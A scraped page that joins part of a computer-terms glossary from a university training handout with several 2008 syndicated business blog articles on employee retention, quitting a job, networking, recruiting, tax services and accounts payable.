Hardwired. Describing any computer function that cannot be easily modified.
9 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Header. Repetitive information that appears at the top of every page of a document. A page
number is a common header.
Hit. A single request for information made by a client computer from a Web server. The
popularity of a given Web site is measured by the number of its it receives.
Home. The upper left corner of the display screen; the starting position of a page or document.
Home page. The main page for a Web site established by an organization or an individual; it
usually serves as the entrance for a series of related pages.
Host computer. A computer that provides information or a service to other computers on the
Internet. Every host computer has its own unique host name.
Hot key. A keyboard shortcut that allows quick access to a command or menu option.
Hot list. See
Bookmark list.
HTML. See Hypertext markup language.
HTTP. See Hypertext transfer protocol.
Hypermedia. An extension of hypertext that integrates audio, video, and graphics with text.
Hypertext. A technology that links text in one part of a document with related text in another
part of the document or in other documents. A user can quickly find the related text by clicking
on the appropriate keyword, key phrase, icon, or button.
Hypertext markup language (HTML). The formatting language used to establish the
appearance of a Web page.
Hypertext transfer protocol (HTTP). The protocol used on the World Wide Web that permits
Web clients (Web browsers to communicate with Web servers. This protocol allows
programmers to embed hyperlinks in Web documents using hypertext markup language.
Hyphenation. The ability of a program to automatically hyphenate and divide words that do not
fit at the end of a line. If the text is later revised so that the divided word no longer begins at the
right margin, the hyphen is automatically removed and the word prints solid.
I con. A symbol that represents a certain function. When the user clicks on the icon, the
appropriate function is executed.
Import. To retrieve any text or other information created by one program and transfer it to
another program.
Indexing. The ability of a program to accumulate a list of words or phrases that appear in a
document along with their corresponding page numbers and to print or display the list in
alphabetic order.
10 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Information processing. The coordination of people, equipment, and procedures to handle
information, including the storage, retrieval, distribution, and communication of information.
The term information processing embraces the entire field of processing words, figures, graphics,
video, and voice input by electronic means.
Information Superhighway (or I-2ay). The Internet. Also referred to as the Infobahn.
Ink-jet printer. A no impact printer that forms characters by spraying tiny, electrically charged
ink droplets on paper.
Input (n). Information entered into the computer for processing.
Input (v). to enter information into the computer.
Insert. To add information to a file.
Insertion point. See Cursor.
Integrated circuit. Multiple electronic components combined on a tiny silicon chip.
Integrated software. Software that combines in one program a number of functions normally
performed by separate programs.
Interface. The software that controls the interaction between the hardware and the user.
Internet (or Net). A system that links existing computer networks into a worldwide network.
The internet may be accessed by means of commercial online services (such as America Online)
and Internet service providers.
Internet community. A group of individuals with common interests, who frequently exchange
ideas on the Internet.
Internet service provider (ISP). An organization that provides access to the Internet for a fee.
Companies like America Online are more properly referred to as a commercial online services
because they offer many other services in addition to Internet access.
Intranet. A private network established by an organization for the exclusive use of its
employees. Firewalls prevent outsiders from gaining access to an organization’s intranet.
I/O. An abbreviation for input/output.
ISP. See Internet Service Provider.
Justification. Aligning lines of text at the left margin, the right margin, both margins, or the
center. Text aligned at both margins is considered fully justified.
K or KB. See Kilobyte.
11 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Key. To enter characters into the memory of a computer.
Keyboard. The device used to enter information into a computer.
Keystroke. The depression of one key on a keyboard.
Kilobyte. A measurement of the storage capacity of a computer. One kilobyte represents 1024
bytes. Kilobyte may be abbreviated K or KB; however, KB is the clearer abbreviation since K
also stands for the metric prefix kilo (meaning 1000).
LAN. See Network.
Landscape orientation. The positioning of a page so that information is printed across the long
dimension of the paper.
Language. The characters and procedures used to write programs that a computer is designed
to understand.
Laptop Computer. A portable computer slightly larger than a notebook computer.
Laser printer. A nonimpact printer that produces sharper text and graphics than any other type
of printer.
LCD. See Liquid crystal display.
Line or paragraph numbering. The ability of a program to automatically number each line or
paragraph sequentially in a document. The line or paragraph numbers can be deleted before the
preparation of the final printout.
Line spacing . The ability of a program to automatically change vertical line spacing.
Liquid crystal display (LSD). A type of monitor typically used on laptop computers or
portable computers.
Listserv. Any software that manages a mailing list.
Load. To transfer information or program instructions into a computer’s memory.
Log off. To exit or leave a computer system.
Log on. To access a computer system.
Macro. A time saving feature like telephone speed dialing that allows the user to store in
memory a set of keystrokes or commands that will accomplish a certain task.
Mail merge. The process of taking information from a database and inserting it into a form
letter or other document in order to customize the document for an individual recipient. For
example, mail merge can be used to create the inside address and the salutation for a form letter.
12 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Mailbomb. A deluge of e-mail messages from one or more sources, deliberately intended to
overload the recipient’s computer and make it crash. A mailbomb is typically sent to punish
someone guilty of spamming or some other serious breach of netiquette.
Mailing list. An e-mail discussion group devoted to one or more specific topics.
Mainframe. A large computer system.
Megabyte. A measurement of the storage capacity of a computer. One megabyte represents
more than 1 million bytes. Megabyte may be abbreviated M or MB; however, MB is clearer
since M also stands for the metric prefix mega (meaning 1 million).
Megahertz. A measurement used to identify the speed of the central processing unit. One
megahertz is equal to 1 million cycles per second.
Memory. The part of a computer that stores information.
Random-access memory (RAM). The temporary memory that allows information to
be stored randomly and accessed quickly and directly ( without the need to go through
intervening data.)
Menu. A list of choices shown on the display screen. For example, a format menu would
include such options as the type style and the type six to be selected. A menu is often referred to
as a pull down menu or a pop up menu because it appears on screen after the user clicks on the
menu bar or on some other items on the screen.
Menu bar. The bar across the top of the screen or window that displays the names of available
menus.
Merge. A command to create one file by combining information that is stored in two different
locations. For example, a computer can merge the text in a form letter with a mailing list to
produce a batch of letters with a different name, address, and salutation on each letter.
Microcomputer. A small and relatively inexpensive computer, commonly consisting of a
display screen, a keyboard, a central processing unit, one or more disk drives, and a private
printer, with limited storage based upon a microprocessor.
Modem. An acronym derived from modulator/demodulator. A device that (1) converts digital
signals into tones for transmission over telephone lines and (2) converts the tones back into
digital signals at the receiving end.
Monitor. The display screen of a computer.
Mouse. A hand operated electronic device used to move a cursor or pointer on the display
screen.
Mouse arrest. To be placed under mouse arrest is to be denied further access to an internet
service provider or a commercial online service as a result of violating the terms of service.
13 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Mouse elbow. A repetitive strain injury similar to tennis that is caused by repeatedly using a
mouse.
Mouse potato. A person who sits glued to a computer screen in the same way that a couch
potato sits glued to a TV screen.
MS-dos. Derived from Microsoft disk operating system. An operating system used on IBM and
IBM compatible microcomputers.
Multimedia. The use of several types of media in a document or an application.
Multitasking- the ability of a computer to execute more than one program at a time.
Net. See Internet.
Netiquette. A set of guidelines of formatting and composing e-mail messages.
Network. A system of interconnected computers.
Offline. Referring to the state in which a computer is temporarily or permanently unable to
communicate with another computer. The term offline is also used humorously to refer to “real
life.”
Off-screen. Referring to any computer function that does not produce a display on the screen.
Online. Referring to the state in which a computer is turned on and ready to communicate with
other computers.
Onscreen. Referring to anything displayed on a computer screen.
Open. To transfer a file from a disk into a computer’s memory.
Optical character reader (OCR). A device that can scan text from hard copy and enter it
automatically into a computer for storage or editing.
Outlining. The ability of a program to automatically number and letter items typed in an
indented format.
Output. The results of a computer operation.
Overwriting. Recording and storing information in a specific location on a storage medium that
destroys whatever had been stored there previously.
Page break. A command that tells the printer where to end one page and begin the next.
Page numbering. The ability of a program to automatically print page numbers on the pages
that make up an entire document. If the document is revised and the total number of pages
changes, the page numbering is automatically adjusted.
14 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Palmtop computer. A portable computer smaller than a notebook computer.
Papernet. Ordinary mail service.
Password. A user’s secret identification code, required to access stored material. A procedure
intended to prevent information from being accessed by unauthorized persons.
Paste. A command that transfers information from a clipboard and inserts it in another location.
Patch. A small program that improves an existing piece of software or corrects an error in it.
PC. See Personal computer.
Personal computer (PC). A microcomputer for personal and office use.
Personal digital assistant (PDA). A palm sized, handheld computer.
Personal information manager (PIM). A database management system that permits a user to
store and retrieve a wide range of personal information.
Pica. A measurement used for a font; equal to 1/6 inch or 12 points.
Pitch. The number of monospace characters printed in a 1-inch line of text.
Point. A measurement used to indicate the size of a font; 72 points equals 1 inch.
Pop-up menu. A menu that appears in a dialog box.
Port. A socket on a computer into which an external device can be plugged.
Posting. An article sent to a Usenet newsgroup.
Print preview. A software feature that reduces the pages of a document so that a full page can
be seen on the screen before being printed. This feature permits the user to spot and correct
problems.
Printers. Output devices of various types that produce copy on paper.
Printout. The paper copy of information produced on a printer.
Program. An established sequence of instructions that tells a computer what to do. The term
program means the same as software.
Prompt. An onscreen symbol that indicates where to type a command; a message that indicates
what action is to be taken.
Protocol. A set of standards that permits computers to exchange information and communicate
with each other.
15 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Radio button. An onscreen element that allows a user to select one option from a group of
items. An empty circle precedes each option not elected. A dot appears in a circle to signify that
the user has selected that option.
RAM. See Memory
Read. To transfer information from an external storage medium into internal storage.
Record. A collection of all the information pertaining to a particular subject.
Response time. The time a computer takes to execute a command.
Retrieve. To call up information from memory so that it can be processed in some way.
Row. A horizontal block of cells in a table or spreadsheet.
Ruler. A bar that shows the width of the page, the margin settings, the paragraph indentions, and
the tab stops.
Save. To store a program or data on a storage device such as a disk.
Scanner. An input devise that can copy a printed page into a computer’s memory, thus doing
away with the need to type the copy. A scanner can also convert artwork and photographs into a
digital format and store these in memory.
Screen. See Display screen.
Screen dump. A printout of what is displayed on the screen.
Screen saver. A program that changes the screen display while the user is away from the
computer. Without the use of a screen saver, a screen image that remains on display for any
length of time can damage the screen.
Scroll. To move information horizontally or vertically on a display screen so that one can see
parts of a document that is too wide or too deep to fit entirely on one screen.
Scroll bar. An onscreen element that allows a user to scroll by using a mouse.
Search and replace. A command that directs the program to locate a character string or
information wherever it occurs in a document and replace this material with new information.
Server. A computer that delivers data to other computers linked on the same network.
Shouting. The use of all capital letters in e-mail.
Sig block. The signature block that automatically appears at the end of every outgoing e-mail
message.
16 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Snail mail. A term employed by e-mail users to refer to regular mail service.
Soft copy. Information shown on the display screen.
Software. The instructions that a computer needs to perform various functions.
Sort. To arrange fields, records, or files in a predetemitted sequence.
Spam. The electronic equivalent of junk mail.
Spider. A program that searches the web for new Web sites.
Split screen. The ability of some programs to display information in two or more different areas
on the screen at the same time.
Spreadsheet. A program that provides a worksheet with rows and columns to be used for
calculations and the preparation of reports.
Storage. The memory of a computer.
External storage. A magnetic medium such as a disk, diskette, or tape used to store
information; can be removed from the computer.
Internal storage. An integral component of a computer; cannot be removed.
Store. To place information in memory for later use.
Surfing the Net. Browsing through various Web sites on the Internet in search of
interesting things.
Tab gird. A series of preset indentions.
Telecommunications. The process of sending and receiving information by means of
telephones, satellites, and others devices.
Teleconferencing. Conducting a conference by using computers, video, and
telecommunications to share sound and images with others at remote sites.
Telnet. A protocol that allows a computer to connect with a host computer on the Internet.
Template. A pre established format for a document, stored in a computer. The template
determines the margins, the type style and size to be used for the text, placement instructions for
various elements and design specifications for certain items.
Terminal. Any device that can transmit or receive electronic information.
Text. The information displayed on a screen or printed on paper.
Text entry. The initial act of typing that places text in storage.
Tool bar. See Button bar.
17 Contact the Training Director: wplummer@cheyney.edu; telephone: 610-399-2313 Fax: 610-399-2394 Cheyney University of Pennsylvania
Touchpad. The device on a laptop computer that takes the place of a mouse.
Type. To enter characters into memory of a computer. For a number of years the verb type
began to be replaced by the verb key as a way of emphasizing the difference between a computer
and a typewriter.
Type-over. See Overwriting.
Upload. To transfer information from a client computer to a host computer.
User-friendly. Describing hardware or software that is easy to use.
Virus. A piece of computer code designed as a prank or malicious act to spread from one
computer to another by attacking itself to other programs. Some viruses simply cause a
humorous message to appear on the screen, some cause minor glitches, and some cause serious
damage to a computer’s memory or disks.
Voicenet. Ordinary telephone service.
Web. See World Wide Web.
Web browser. Software that permits a user, with a click of a mouse, to locate, display, and
download text, video, audio, and graphics stored in a host computer on the Web. The most
common Web browsers now in use are Google, Netscape Navigator, and Microsoft Explorer.
Webmaster. The person who maintains a specific Web site and is responsible for what appears
there.
Web site. One or more related pages created by an individuals or an organization and posted on
the World Wide Web.
Wizard. A feature of Microsoft Word software that helps a user create a customized document;
it asks the user questions about formatting and content options and uses the answer to create the
document.
Word processing. The electronic processing of creating, formatting, editing, proofreading, and
printing documents.
Workstation. A desktop computer than runs applications and serves as an access point in a
local area network.
World Wide Web. The component of the Internet that combines audio, video, and graphics
with text.
WWW. The World Wide Web.

The Top 10 Reasons Your Staff Wants to Quit

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 01:03:00 +0000

by: Jeff Altman

From an employee’s perspective, management often conducts itself in ways that make no sense. When the economy is slow, jobs are few and far in between or people are fearful, staff will tolerate management behaviors and policies that are nonsensical (in their eyes) or they judge are harmful.

But when staff gets together for lunch and they start critiquing management, these are the Top 10 Reasons Why Staff Quit.

10. “My boss is arrogant and believes his own press clippings.” As a result, staff feels taken advantage of..

9. “My manager micromanages rather than trusting staff to perform.” Staff hates the boss and looks for ways to resist being over controlled.

8. “My manager is crushing my drive and desire.” Hired because they were smart and energetic, the manager is afraid that she will not be seen as the shining light (the reason for success) and crushes the very qualities that made the new employee attractive to hire (and desirous of joining).

7. “My boss guesses what is needed without resorting to data or facts.” Maybe he has the facts, but they sure aren’t being communicated leaving the impression of “It’s my way or the highway.” There are a lot of new roads being built in this country and staff will leave rather than be abused.

6. “I’m treated like a child.” Look, there are often generational differences between how managers and employees work. Younger workers may have “know-it-all” attitudes and unfamiliar techniques using technology to accomplish tasks. Staff feels misunderstood and resent their boss.

5. “Manager promotes someone from a different function who does understand the job and how to be successful.” Staff does not believe they can learn from this person, judges her to be an anchor around their department and resents that they were passed over for promotion.

4. “My boss is extremely critical.” The only way they interpret their boss is pleased is in the absence of nit picking.

3. “I get ideas lobbed at me with little clarity and I have to figure out what is really wanted.” Staff is caught between a rock and a hard place and doesn’t know the target of the task or have a clear idea of what needs to get done.

2. “I don’t have sufficient resources to get the job done.” Fitting 10 pounds of stuff into a five pound bag is pretty tough. Imagine you’re the ten pounds and have to get squeezed in there! Staff often believes they have inadequate resources to get a job done.

And the number one reason your staff wants to quit:

“My company is grossly underpaying me.” Show me the money! Staff can read job ads online and learn what their real value is. As much as they may love you and their work, eventually people realize they need to pay their bills and start to think of leaving.

Your staff, the ones you are mistreating or taking for granted are your competition’s staffing solution (just as theirs is for you). Rather than taking their continued employment for granted, motivate them, excite them, coach and encourage them and they will go do anything for you (at almost any price).

Jeff Altman
Concepts in Staffing
jeffaltman@cisny.com

© 2004 all rights reserved.

About the author:
Jeff Altman, Managing Director with Concepts in Staffing, a New York search firm, has successfully assisted many corporations identify management leaders and staff in technology, accounting, finance, sales, marketing and other disciplines since 1971. He is also a certified leader of the ManKind Project, a not for profit organization that assists men with life issues, and a practicing psychotherapist.

For additional job hunting or hiring tips, go to

If you would like Jeff and his firm to assist you with hiring staff, or if you would like help with a strategic job change, send an email to him at jeffaltman@cisny.com (If you’re looking for a new position, include your resume).

How to Quit Your Job

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 01:02:00 +0000

by: Debra Thorsen

Do you to know without ending up on the street? In a nutshell, you need to avoid the self-employment trap, think like a business, and create multiple passive revenue streams.

Avoid the Self-Employment Trap

If you quit your job and hang up your own shingle, you might work harder for less money. You may enjoy working from home or choosing your own clients, but you might end up living from client to client without building any real wealth.

Many self-employed people I know suffer from feast or famine. They spend lots of time and money marketing their services and get lots of clients. They get really busy doing the work and stop marketing and then their prospective client pool dries up.

If you set up your business so that you do everything - marketing, sales, bookkeeping, operations, and fulfillment, then you are limiting your success potential from day one. You will spend lots of time on non-income generating activities and may get frustrated and burned-out in a short time.

The real key to successfully creating wealth outside of a job is to avoid the mistake of trading one boss for another boss. You need to stop trading your time for dollars. Stop thinking like a wage slave. Look beyond earned income.

Think Like a Business

There are many problems with earned income. The biggest one is that you are trading your time for money. If you stop trading your time, the dollars stop coming. This is a huge problem if you decide to have a baby, get sick, want to take an extended vacation, or are ready to retire.

The IRS penalizes self-employed people who operate as a sole proprietorship with a hefty self-employment tax. How can you avoid this? Well, I am not an accountant or CPA, so I am not giving legal or accounting advice, but I have learned to think like a business. Before you quit your job, interview local tax advisors to educate yourself on different business entities and tax strategies. Start thinking big.

Build a Company with Multiple Passive Income Streams

You need to build a company that works for you. My best advice on how to quit your job is to build a business that offers multiple streams of passive income in addition to your earned income. There are so many exciting ways to design your income portfolio. It requires imagination, courage and planning.

Structure your business so that your daily activities are fun and challenging. Identify the things that you don’t enjoy or are not good at and find other people to do these activities – outside partners, independent contractors, or employees.

How to Quit Your Job

My advice for how to quit your job is to avoid thinking that you have to do everything yourself to make your new enterprise run. Think big! Set up systems and structures that work for you so you don’t have to work so hard. Incorporate and make the tax system work for you. Design your work around multiple passive income streams to support your active work. And finally, have fun!

About the author:
Find out how to break free from the corporate world. Debra Thorsen is a happy corporate escapee who helps individuals create real wealth and happiness without 9 to 5 jobs. Visit for free tips on career change, wealth building, and living without fear.

Networking

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 01:02:00 +0000

by: Brian K Grinonneau

Put join a group on your to do list with a big underline, star and happy face. You’ll be glad you did for more reasons than you can count. And the advice is coming from this confirmed non-networker who, in 20 years of business, considered networking a colossal waste of time. The old dog is here with a new trick.

Business networking groups bring together people who, most times, are self- employed, successful entrepreneurs or corporate folk paid truly paid for their efforts. (see commissioned salesperson) The types of businesses these networkers represent vary, but the commonality is they meet to share, learn and become better at their craft.

The networking meetings are held at times that are fairly convenient even for the most type A business owner. Early morning, mid-day or evening are the popular meeting times and all involve food of some type, contests, and sometimes cocktails.

There is a networking etiquette that is a mix of business sense and remembering what your mother taught you. Be nice. Smile. Be genuine. Don’t show up looking to dazzle everyone you meet with your slick sales pitch. To be sure, meet a lot of people, hand out a lot of cards, but give before taking. Listen more than you talk. Question more than you answer. Care about someone else and their plight.

What’s in it for me? That’s the common question in many business conversations. Here’s what you get by joining a networking group:

New contacts--what business can’t use more contacts? The fellow businesspersons you meet might be able to use your service. They also know lots of people and aren’t shy about recommending you.

You look like an expert to your customers. As you meet new professionals, you won’t hesitate to recommend them to your customers to handle tasks you don’t. Your stock will rise appreciably with your customer for being such a willing problem solver.

Education. The meetings always revolve around a guest speaker who will bring to you valuable information about topics ranging from accounting to law, sales to hiring an employee and much more.

Friendship. Everyone can use more friends. Imagine playing golf with those that share your passion.

Advice. Ask around and fellow networkers will be glad to dispense it for free and many have already faced the same situation you now have.

Find a local networking group and get involved. It will be one of the best decisions you ever made. Go ahead. Write it down. Your to do list is waiting.

About the author:
Brian Grinonneau is the general manager of McMann and Tate Advertising, an agency working exclusively with small business clients to help them cut through the clutter and stand out from the crowd.

Recruiting Excellent Job Candidates

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 01:01:00 +0000

by: David Leonhardt

Six Easy Search Tips to Get the Cream of the Crop
By David Leonhardt

An independent recruiter, recruiting agency or executive search firm is charged with tracking down excellent potential candidates for available job positions. Despite the fact that there are innumerable people seeking positions of employment in the 21st century, it often seems to a typical recruiting agency that qualified men and women are few and far between.

Here are six easy tips that recruiting services, staffing firms, or executive search firms should keep in mind when on the hunt for outstanding potential job candidates in the 21st century.

These tips are equally applicable to companies undertaking their own search without the help of recruiting agency services. Indeed, the headaches associated with finding qualified personnel is magnified for a company undertaking its own recruitment efforts.

1. Post an Ad on an Industry-specific Job Board. Oftentimes, a recruiter will take a scattershot approach to finding candidates that are worthy of consideration for an available position. They broadcast far and wide the fact that a certain position is open and available, in big city newspapers and on major Internet job boards.

If a recruiting agency were more thoughtful about its recruitment efforts, it would realize the benefits of positing an announcement of an available position on an industry-specific Internet job board. By posting in a selective and admittedly limited manner, recruiters and staffing firms would be reaching out precisely to the pool of people most likely to be qualified for an open position.

One excellent tool for finding industry-specific job boards can be accessed at:
http://www.onlinerecruitersdirectory.com/jobboard.php

2. Use Recruiters that Specialize in a Given Field As with advertising, choosing an effective recruiter might be just a matter of targeting, particularly for a managerial or executive position. These positions can be very hard for in-house personnel directors and human resource managers. While these people do have responsibility for hiring, the search for a new employee with skills beyond the norm for their company can best be targeted by a professional executive head hunter.

The same can be said for specialized fields, such as accounting or information systems. In-house human resources staff might know all about pharmaceutical skill-sets required for a multitude of research and administration positions, but they might rarely have to deal with hiring staff to track money or to keep the computers functioning. That's when recruiting agency services specializing in IT or in accounting can come in handy.

3. Develop an In-House Referral Program. In many instances, exiting staff members can help speed up the search for quality job candidates. Employees often have contacts elsewhere within the industry, some of which may be looking for a change of employment.

By cultivating this internal resource, a personnel director can develop a wealth of ready information about prospective employees who might well serve the organization as valued employees.

4. Search Resumes Posted on Job Boards In addition to advertising on an industry specific job board, a diligent personnel director or recruiting agency will want to take the time to search and consider resumes that have been posted on job boards.

Often, a person pounding the pavement looking for employment may not have the time to take in and review all of the various available positions that have been posted on a every job board. This is even more true if a given prospect is a highly sought-after candidate, who might be still busy in a current position of responsibility.

5 .Use a Directory of Recruiters. Because there are so many different type of recruiters in business in the 21st century it can often be difficult for in-house human resources staff to pinpoint the recruiter that will be best able to meet the needs of a given employee recruitment campaign. But there are resources available, such as directories of recruiters.

One such directory is:http://www.onlinerecruitersdirectory.com

By using a professional directory, in-house human resources staff will be able to identify the most appropriate resources for their company and for the recruiting task at hand. Even staffing firms can benefit from such a recruiters directory to seek help in a specialized field they don't often work with.

6. Don’t Rush the Process. Finally, while it is an overused saying, “Rome wasn’t built in a day.” In the same vein, 99 times out of 100 there is no need to rush the process of seeking, identifying and hiring a new employee, particularly an executive level employee.

A personnel director should take his or her time to identify, screen, interview and hire the best candidate. Throughout this process, a human resources manager or specialist will rely on the services and support tools identified in this article.

By using these tips, in the long run the best possible candidate for a given position will end up being hired, and the company will benefit from the best possible employees.

About the author:
David Leonhardt is a freelance writer:

He wrote this article for the Online Recruiters Directory:

Choosing A Business Tax Service

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 01:01:00 +0000

by: Don Kransteuber

There are a number of ways that you can find tax services companies. The yellow pages is a good place to start for companies in your area but, depending on where you live, the list of names may be extremely long. It is a good idea to ask your friends, colleagues and business partners to recommend the tax services that they have found helpful and efficient in the past. Then you can call the tax services professionals that you have on your list and discuss your requirements.

The first step in finding the best tax services for your needs is deciding what level of help you require. Perhaps you simply need someone who can file a simple tax return but has to wade through your slightly disorganised accounting documents, or maybe you have a number of employees and need
assistance sorting out their tax withholdings or you may even want all of these tax services, and more. The size of the tax services company may also be an issue. You may want one person to be able to perform all of your tax work, especially if you are only a small business owner or you may want a team of tax professionals and you want to find tax services that have a number of specialists available. Once you have identified the type of tax services then you can begin your search more easily. Your available tax services budget is obviously going to be an issue but you should try to allocate as much money as possible to ensure that you can afford the best possible tax services. Remember that you can incur heavy fines if you have incorrectly filed your tax return or are late paying any type of tax that your business is liable for.

Apart from professional qualifications and references one of the most important points to consider when assessing which of the tax services companies you want to use is whether you feel comfortable with the person you are dealing with. At the end of the day you are going to trust them with your financial records and it is essential that you feel that you can depend upon the person.

Every business, at some time, needs the help of some type of tax services at some stage. Large organisations usually have their own tax services department with accountants and tax lawyers but small companies often have to hire tax services on a regular basis to help keep their tax returns and other issues in order. It is important to know how to find the best tax services, no matter what type of business you are involved with.

About the author:
Learn more about Tax Software and gain access to a wide variety of resources at You'll find articles, resources and links to helpful sites.

9 Strategies for Writing Accounts Payable Procedures

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 01:00:00 +0000

by: Chris Anderson

You have permission to publish this article free of charge, as long as the resource box is included with the article. If you do run my article, a courtesy reply to sean@bizmanualz.com would be greatly appreciated. This article is 1,067 words long including the resource box. Thanks for your interest.

The Cash to Cash Cycle
Part Four of Series

Part One: http://www.bizmanualz.com/articles/01-05-05_inventory_procedures.html/?ART78

Part Two: http://www.bizmanualz.com/articles/01-11-05_accounts_receivable.html/?ART79

Part Three: http://www.bizmanualz.com/articles/01-18-05_Sales_Marketing.html/?ART80

Next Week: Complete Cash to Cash Cycle

The white flag is just a nose away…toward the Million dollar prize in cash savings for your business…

So far, in Inventory and Accounts Receivable, we've found $250,000 each in cash savings. Then we found another 250K in Sales and Marketing. And so, now, Accounts Payable is the final process within the Cash to Cash Cycle - and also the final $250,000.

The cash cycle is undoubtedly the single most important process to optimize for any business – from when you spend money to when you get money.

Circling the Cash to Cash Cycle

So let’s tie this back to accounts payable - the event that pays for the liability incurred by purchasing, which is for inventory required by manufacturing to meet demand. Sales generate this demand that creates the accounts receivables, which is turned into cash. And now we have come full circle and completed the discussion on the cash to cash cycle.

Increasing the Velocity of Accounts Payable Processes

Your accounts payable is a bit different than the other processes we have examined so far. The first three processes we looked at represented processes where the focus was on reducing the size of assets (inventory or accounts receivable) or expenses (marketing) and increasing the velocity or cycle time. But in accounts payable our focus is on increasing the size of the asset, while maintaining a solid credit rating - and increasing the velocity of the process.

Now let’s look at how to find $250,000 in accounts payable savings. If your organization has $500,000 in accounts payable each month, then STOP! We can find $250,000 in savings right here. Where, you ask? Increasing payables by 25% will produce $125,000 in cash plus $125,000 from automating tasks, taking more discounts, and managing the process better.

Service Business Procedures Case Study

An organization with $600,000 in monthly payables needed assistance. We examined their payables process to understand and quantify workflow, paper processing and credit issues. Then we designed and implemented a process to increase their use of payables and discounts, improve their payables cycle efficiency, and tie it to their purchasing and receivable cycles. We then reinvested $50,000 back into an Enterprise Resource Planning (ERP) program to automate some of the processes that weren’t automated already.

The metrics we developed reduced their purchasing & payables expenses by 25% and increased their efficiency from 50% to 75% within 2 months of implementing the new procedures. With these new processes and reports, the company now tracks payables cycle efficiency and average days payables, rather than just bills paid on time or outstanding balance, as the measure of their payables effectiveness. The result: an extra $300,000 in cash plus a 50% increase in process capability (capacity).

But how?

Methods to Design Your News Accounts Payable and Accounting Procedures

• Eliminate Paper. The single biggest cost for any purchasing and payables department is paper, including: purchase orders, purchase order follow-up, small-dollar purchases, delivery tracking & receipts, and vendor payments. Utilizing paperless invoices, Web-based supplier self-servicing, centralized vendor files, automated workflows for electronic or imaged invoices (see ERP below), and payment methods, such as business credit cards, Electronic Data Interchange (EDI) and Electronic Funds Transfer (EFT), can reduce paper handling costs by as much as 90%.

• Integrate ERP Systems. Enterprise Resource Planning (ERP) automates the purchasing and payables functions, which allows a company to get more work done with fewer personnel. Also, electronic invoice matching applications save time in retrieving paperwork. It is estimated that an ERP system can annually save an organization $300 per million in sales.

• Increase Payment Terms. Negotiate payment terms based on receipt of goods or the invoice. This can add one week or more to your terms, which can be 25% of 30 day terms. Use EFT for just-in-time payments to maximize your payables terms and minimizing the impact to your credit.

• Take Payment Discounts. If you are getting 2%/10 net 30 terms, then consider taking it. This means you are offered a 2% discount if you pay within 10 days, instead of the normal 30 day terms. This translates into an 18% return on your capital, and for many organizations this is a good return on your investment.

• Review Purchases. Purchasing is a continuous process that requires continuous review. Consider: transportation charges, expedited fees, odd lot penalties, new pricing, new products, consolidating vendors, new vendors or buying groups, payment terms, and more. Communicate with your suppliers to improve the process. And review and monitor everything to account for changes in your environment.

• Communicate with Suppliers. Communicate with your suppliers to improve the process. Ask suppliers to submit their invoices electronically. This will save you time, resources and losses due to waste.

• Eliminate Disputes. Disputes with your suppliers are typically the result of a problem with your purchasing/receiving process. When disputes occur, review your purchasing procedures to ensure that they are producing the correct metrics and that you are not forced to pay for your mistakes.

• Reduce Errors. Overpayments, payments made to the wrong vendors, fake invoices, or even late payments represent a common problem for payables. Increasing your focus on error control, along with written procedures and audits, can reduce these errors considerably.

• Train personnel. Provide your accounts payable staff with regular formal training. This will arm them with better knowledge of frauds, negotiating skills, and an understanding of the economics of payables – which will result in improved effectiveness.

Accounting Policies and Procedures for Cash in the Bank

In the past few weeks, we have showed you four parts of your financial statements that will each contribute $250,000 in cash savings. The last hurdle was Accounts Payable, and we sailed through it. And now we have crossed our final goal: $1,000,000!

Time was - and is - the key. All you have to do is own it. And, remember, next week we will put together each of the four elements of the cash to cash cycle, and look at how it affects the working capital of your business.

About the author:
Chris Anderson is currently the managing director of Bizmanualz, Inc. and co-author of policies and procedures manuals, producing the layout, process design and implementation to increase performance.

To learn how to increase your business performance, visit:

Business laws basics

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:59:00 +0000

by: Mansi gupta

A professional degree in Juris Doctor relates to a higher grade of studies in law. With business houses expanding in size and the legal issues gaining higher importance for day to day working of large corporates, demand for Juris Doctor professionals has been increasing. As the business interacts more with the society and their other counterparts need to resolve legal matters emerge simultaneously. All this has given an impetus to students aiming for career in law field. But a purely law background without any corporate experience may not be well accepted by business industry. Top ranked services in companies also demand a graduate in business organization along with lawyer’s degree.

As demand for combined degree in JD and business is being a preferred combination to build a rewarding career in law. Business and law schools at various places have joined hands to impart students with best career courses. At many places Law Schools providing degrees of Juris Doctor and business school providing Master in business administration present a cooperative program for the convenience of aspiring students. This opportunity to avail concurrent degrees in both fields is a stepping-stone for success of students. Students who cannot travel to different places at the same time have a best prospect of finding excellent professional training under one roof.

Surviving in the law field gets tougher from the day one tries to enter the school of law. Getting admission requires fulfilling entire formalities along with earlier creditable basic high school record, clearing the admission test for the law school and even recommendations from people. The same is applicable for business studies a student is required to prove his quantitative skills and efficiency in microcomputers to get admitted. A dedicated and hard work during the courses ensures students with excellent results which in turn to provide better career opportunities.

A law person has various prospects for different types of career that he would like to accept. Depending on his caliber and willingness to work hard a lawyer can decide upon practicing law in an exclusive law firm or he may choose to be an in house lawyer. An exclusive law firm requires an extensive knowledge of one particular area in law where as an in house lawyer is required to deal with entire aspects of legal issues that relate to the particular company in which he is involved.

